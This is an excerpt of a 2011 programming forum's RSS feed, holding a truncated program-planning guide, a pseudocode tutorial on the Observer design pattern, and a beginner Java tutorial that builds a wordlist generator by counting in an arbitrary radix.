      <pubDate>Tue, 09 Aug 2011 12:06:23 -0400</pubDate>
      <dc:creator>Flashlight</dc:creator>
      <guid isPermaLink="false">5658@/index.php?p=/discussions</guid>
      <description><![CDATA[This is a guide to help people plan out there programs, this Initially and when method i have found very helpful.<br /><br />Step 1:<br />We set the values of variables and other things the program will do at startup<br />I will use a simple program that connects to a server through FTP and can upload and]]></description>
   </item>
   <item>
      <title>OOP Design Pattern Observer</title>
      <link>http://iexploit.org/index.php?p=/discussion/5638/oop-design-pattern-observer</link>
      <pubDate>Sat, 06 Aug 2011 12:35:38 -0400</pubDate>
      <dc:creator>Deque</dc:creator>
      <guid isPermaLink="false">5638@/index.php?p=/discussions</guid>
      <description><![CDATA[<span><span style="color: #00FF00;">Observer</span></span><br><br>Our example this time is a card playing game that also shows statistics to test the newly created AI (this is not unrealistic, I have made such a thing for robot football). The results shall be shown during the game by several windows containing charts and tables of different types and data. The statistics can also be turned off.<br>                <br><div class="PreContainer"><pre>&amp;#46;<br>              points display<br>                  ^<br>                  |<br>                  |<br>card table &amp;lt;--  state --&amp;gt; chart A <br>                  |<br>                  |<br>                  v<br>                chart B</pre></div><br><br>This means everytime the state of the game has changed, there are lots of objects that have to be updated. In our example this is the GUI which shows the card table itself, so the player sees what is going on. But there are also several windows with statistics and a display showing the points a player got. The state of the game changes either because a human player made a move or the AI.<br><br><span><span style="color: #00FF00;">The first try</span></span><br><br>The first approach that comes into your mind may be this (pseudocode):<br><br><div class="PreContainer"><pre>class PointsDisplay {<br>   <br>   attribute GameState gameState;<br><br>   method testForUpdate() {<br>      every second do {<br>         if(gameState&amp;#46;hasStateChanged()){<br>            displayPoints(gameState&amp;#46;getPoints());<br>         }<br>      }<br>   }<br><br>}</pre></div><br><br>ChartA, ChartB and CardTable do something similar.<br><br>This is pretty bad for performance, because a lot of classes do needless calles to check whether the state has changed.<br>This goes hand in hand with synchronization issues.<br><br><span><span style="color: #00FF00;">The second try</span></span><br><br>This time we do it the other way around. The object that changes the state has to call the update methods of every view component.<br><br><div class="PreContainer"><pre>class AI {<br><br>  method nextMove(){<br>     Card card = takeCard();<br>     updateChartA(card);<br>     updateChartB(card);<br>     updateCardTable(card);<br>     updatePointsDisplay(card);<br>  }<br><br>}<br><br>class CardTable { //This is the gui that shows data, but also <br>                  //retrieves input of the human player<br><br>  method playersHasChosenCard(Card card){<br>     updateChartA(card);<br>     updateChartB(card);<br>     updateCardTable(card);<br>     updatePointsDisplay(card);<br>  }<br><br>}</pre></div><br><br>Now everytime we add a new way to change the data (i.e. another AI), we also need to add a huge list of method calls that update everything. And if there is a new chart or table that has to be updated, we have to add an update for it everywhere in the program. The problem is that the updates are called in different locations of the code. Forgetting one location is likely. It is a better approach to have this sorted somehow.<br><br><span><span style="color: #00FF00;">The third try</span></span><br><br>Since the last solution is not appropriate we try a new one. Instead of updating everything in different locations we put it entirely into the GameState itself. This means we need an instance of every object that has to be updated.<br><br><div class="PreContainer"><pre>class GameState {<br>   <br>  attribute ChartA chartA;<br>  attribute ChartB chartB;<br>  attribute PointsDisplay points;<br>  attribute CardTable table;<br><br>  method update(){<br>    chartA&amp;#46;update(updateInfo);<br>    chartB&amp;#46;update(updateInfo);<br>    points&amp;#46;update(updateInfo);<br>    table&amp;#46;update(updateInfo);<br>  }<br><br>}</pre></div><br><br>This is much better. There is only one location we need to change when we add a new chart. But it is still not perfect. The list of attributes (and thus also update-calls) may grow a lot. Also we said that we wanted to show only the statistics the user chose to. There is no need in updating charts that are not available right now. We would have to do something like this:<br><br><div class="PreContainer"><pre>class GameState {<br>   <br>  attribute ChartA chartA;<br>  attribute ChartB chartB;<br>  attribute PointsDisplay points;<br>  attribute CardTable table;<br><br>  method update(){<br>    if(chartA&amp;#46;isAvailable()) {<br>       chartA&amp;#46;update(updateInfo);<br>    }<br>    if(chartB&amp;#46;isAvailable()) {<br>       chartB&amp;#46;update(updateInfo);<br>    }<br><br>    points&amp;#46;update(updateInfo);<br>    table&amp;#46;update(updateInfo);<br>  }<br><br>}</pre></div><br><br>This is where the observer pattern comes into play. <br><br><span style="color: #00FF00;"><span>The Observer pattern</span></span><br><br>This is the UML diagram for the Observer pattern:<br><br>http&#58;//s1&#46;directupload&#46;net/images/110721/7ujvejcv&#46;png<br><br>Now the GameState notifys all observers when its data has changed. You can imagine this like setting the option to get an e-mail-notification everytime someone has send you a PM on iExploit. When you see the e-mail you will know that you have to update yourself by logging into the forum and reading the PM.<br>To notify every Observer the GameState has a collection of them. The notify()-method will look like this:<br><br><div class="PreContainer"><pre>class GameState {<br>   <br>  attribute ObserverCollection observers;  <br><br>  method notify(){<br>    foreach Observer o in observers {<br>       o&amp;#46;update();<br>    }<br>  }<br><br>}</pre></div><br><br>The update()-method of an Observer could be implemented like this:<br><br><div class="PreContainer"><pre>class PointsDisplay extends Observer {<br>   <br>   attribute GameState gameState;<br><br>   method update() {<br>      State state = gameState&amp;#46;getState();<br>      displayPoints(state&amp;#46;getPoints());<br>   }<br><br>}</pre></div><br><br>If the user doesn't want to show some charts, the removeObserver-method() is called. We have no unnessecary if-statements anymore to check whether an update is required. The code is reduced to a minimum and easily extendable.<br><br><span style="color: #00FFFF;">Design principle 3:</span> Aim at a loosely coupled design for interacting objects.<br><br>Deque]]></description>
   </item>
   <item>
      <title>[Beginner Programming] How to make a wordlist generator</title>
      <link>http://iexploit.org/index.php?p=/discussion/2965/beginner-programming-how-to-make-a-wordlist-generator</link>
      <pubDate>Sun, 24 Jul 2011 19:52:33 -0400</pubDate>
      <dc:creator>Deque</dc:creator>
      <guid isPermaLink="false">2965@/index.php?p=/discussions</guid>
      <description><![CDATA[Hello guys,<br><br>this is a little guide for making a wordlist generator. It will give you some programming practice as well as some understanding in combinatorics. I will use Java by now, but maybe add other language implementations later. However the way should be understandable for coders who don't know Java. But I take as a given that you understand numeral systems (at least the binary one).<br><br>The wordlist generator shall be fast and generate all possible words for a given alphabet and a wordlength. So we can begin with defining them. We keep it simple, so we can easily prove the results later. We generate words with a length of 3 and the alphabet will contain only 0 and 1. It is important to prepare it in a way that we can change these later without any problems.<br><br>The sceleton of our generator with the first local variables defined looks like this:<br><br><div class="PreContainer"><pre><br>public class WordListGen {<br><br>	public static void main(String&amp;#91;&amp;#93; args) {<br>		generate();<br>	}<br><br>	private static void generate() {<br>		int wordlength = 3;<br>		char&amp;#91;&amp;#93; alphabet = { '1', '0' };<br>	}<br>}</pre></div><br><br>Before we really start with programming let's make sure you understand what the result has to be in the end.<br>A wordlength of three means we have three positions for a word to fill with characters: _ _ _<br>The alphabet says which characters can fill the positions. Doing this manually we have the following possibilities to arrange the characters:<br><span style="color: #00FFFF;"><br>000<br>001<br>010<br>011<br>100<br>101<br>110<br>111</span><br><br>Those are eight possible words. As I said you should have an understanding of numeral systems. If so, you can easily see that the results are the numbers from 0 to 7 (decimal) in the binary system. Getting all results for this particular generation just needs us to count from 0 to 7 and translate this to binary. <br><br>But we want to make the generator flexible so the alphabet can be easily changed. So we need a solution that works for everything.<br>How do we get the number of results?<br>Now we dive into combinatorics. We can compare this situation to an urn that contains the characters '1' and '0'. We have three turns and every single turn we take a character, write it on a paper and put it back to the urn. The order of the results is important, because "001" is another word than "100". That means our case is a variation with repetition (&lt;- because we put the characters back every turn). We can get the number of results by using the formula for variation with repetition: <span style="color: #FF0000;">N^k</span><br><br><span style="color: #FF0000;">k </span>is the number of positions or the wordlength.<br><span style="color: #FF0000;">N</span> is the number of characters in the alphabet. <br><br>Applied to our current situation we have characters^wordlength = 2^3 = 8 results and that is correct.<br>Let's compute this number in our program. For Java there is Math.pow to do exponentiation. I choose a long as datatype, because this number could get pretty high. (My advice is to use BigInteger for that. I just don't do it here for simplicity)<br><br><div class="PreContainer"><pre>final long MAX_WORDS = (long) Math&amp;#46;pow(alphabet&amp;#46;length,<br>				wordlength);</pre></div><br><br>What we do next is just counting from 0 to (MAX_WORDS - 1) which is 0 to 7. This produces our words as decimal numbers:<br><br><div class="PreContainer"><pre>for (long i = 0; i &amp;lt; MAX_WORDS; i++) {<br>}</pre></div><br><br>But we don't want the decimals. We want the numbers in our numeral system. The radix of the numeral system is the number of characters, our case 2 which is the binary system. We compute the radix like that:<br><br><div class="PreContainer"><pre>final int RADIX = alphabet&amp;#46;length;</pre></div><br><br>Most languages provide out-of-the-box functions to translate numbers to a given numeral system. However, we only need integer representations and no letters. I.e. the hexadecimal system (radix 16) uses 0-9 and the letters A-F. We use 0-15 instead for this example. This way we make sure that we can use every radix and thus large alphabets that may contain more than 35 characters. Also making our own method for that is much more efficient.<br><br><div class="PreContainer"><pre><br>private static int&amp;#91;&amp;#93; convertToRadix(int radix, long number, int wordlength) {<br>	int&amp;#91;&amp;#93; result = new int&amp;#91;wordlength&amp;#93;;<br>	for (int i = wordlength - 1; i &amp;gt;= 0; i--) {<br>		if (number &amp;gt; 0) {<br>			int rest = (int) (number % radix);<br>			number /= radix;<br>			result&amp;#91;i&amp;#93; = rest;<br>		} else {<br>			result&amp;#91;i&amp;#93; = 0;<br>		}<br><br>	}<br>	return result;<br>}</pre></div><br><br>To explain how this conversion method works I use an example: number = 5, radix = 2, wordlength = 3<br>First we create our array of the length 3. So we provide three places to put numbers in: _ _ _<br>We run through this array backwards. Our number is not 0, so we divide the number by the radix. We put the rest of this operation (computed via the modul operator %) into the array:<br>number / radix = 5 / 2 = 2 rest 1<br>Our array: _ _ 1<br>The new number is the result of the division = 2<br><br>Now we repeat that:<br>number / radix = 2 / 2 = 1 rest 0<br>Our array: _ 0 1<br>The new number is the result of the division = 1<br><br>Last turn:<br>number / radix = 1 / 2 = 0 rest 1<br>Our array: 1 0 1<br><br>And this is the correct result for our decimal to binary conversion.<br><br>The whole code by now:<br><br><div class="PreContainer"><pre><br>private static void generate() {<br>	int wordlength = 3;<br>	char&amp;#91;&amp;#93; alphabet = { '0', '1' };<br>	final long MAX_WORDS = (long) Math&amp;#46;pow(alphabet&amp;#46;length, wordlength);<br>	final int RADIX = alphabet&amp;#46;length;<br><br>	for (long i = 0; i &amp;lt; MAX_WORDS; i++) {<br>		int&amp;#91;&amp;#93; indices = convertToRadix(RADIX, i, wordlength);<br>		for(int index &amp;#58; indices){<br>			System&amp;#46;out&amp;#46;print(index);<br>		}<br>		System&amp;#46;out&amp;#46;println();<br>	}<br>}</pre></div><br><br>Our output looks promising:<br><span style="color: #00FFFF;">000<br>001<br>010<br>011<br>100<br>101<br>110<br>111</span><br><br>Now let's alter the alphabet. We choose the characters a and b:<br><br><div class="PreContainer"><pre>char&amp;#91;&amp;#93; alphabet = { 'a', 'b' };</pre></div><br><br>If you have understood the code you will know that the output remains the same (the binaries above). The characters of the alphabet are never used. What we print out are the indices of the characters. We can easily change that by getting the characters of the alphabet and saving them into a char-array named word:<br><br><div class="PreContainer"><pre><br>char&amp;#91;&amp;#93; word = new char&amp;#91;wordlength&amp;#93;;<br>for (int k = 0; k &amp;lt; wordlength; k++) {<br>	word&amp;#91;k&amp;#93; = alphabet&amp;#91;indices&amp;#91;k&amp;#93;&amp;#93;;<br>}<br>System&amp;#46;out&amp;#46;println(word);</pre></div><br><br>This is the whole program:<br><br><div class="PreContainer"><pre><br>public class WordListGen {<br><br>	public static void main(String&amp;#91;&amp;#93; args) {<br>			generate();<br>	}<br><br>	private static void generate() {<br>		int wordlength = 3;<br>		char&amp;#91;&amp;#93; alphabet = { 'a', 'b' };<br>		final long MAX_WORDS = (long) Math&amp;#46;pow(alphabet&amp;#46;length, wordlength);<br>		final int RADIX = alphabet&amp;#46;length;<br>	<br>		for (long i = 0; i &amp;lt; MAX_WORDS; i++) {<br>			int&amp;#91;&amp;#93; indices = convertToRadix(RADIX, i, wordlength);<br>			char&amp;#91;&amp;#93; word = new char&amp;#91;wordlength&amp;#93;;<br>			for (int k = 0; k &amp;lt; wordlength; k++) {<br>				word&amp;#91;k&amp;#93; = alphabet&amp;#91;indices&amp;#91;k&amp;#93;&amp;#93;;<br>			}<br>			System&amp;#46;out&amp;#46;println(word);<br>		}<br>	}<br><br>	private static int&amp;#91;&amp;#93; convertToRadix(int radix, long number, int wordlength) {<br>		int&amp;#91;&amp;#93; indices = new int&amp;#91;wordlength&amp;#93;;<br>		for (int i = wordlength - 1; i &amp;gt;= 0; i--) {<br>			if (number &amp;gt; 0) {<br>				int rest = (int) (number % radix);<br>				number /= radix;<br>				indices&amp;#91;i&amp;#93; = rest;<br>			} else {<br>				indices&amp;#91;i&amp;#93; = 0;<br>			}<br>	<br>		}<br>		return indices;<br>	}<br>}</pre></div><br><br>And this our output:<br><span style="color: #00FFFF;">aaa<br>aab<br>aba<br>abb<br>baa<br>bab<br>bba<br>bbb</span><br><br>That is it. You may test this further with other wordlengths and alphabets. You may add a method to save the list in a textfile and also some IO for the user of your program. Whatever you do: Happy coding.<br><br>Deque]]></description>
   </item>
   </channel>
</rss>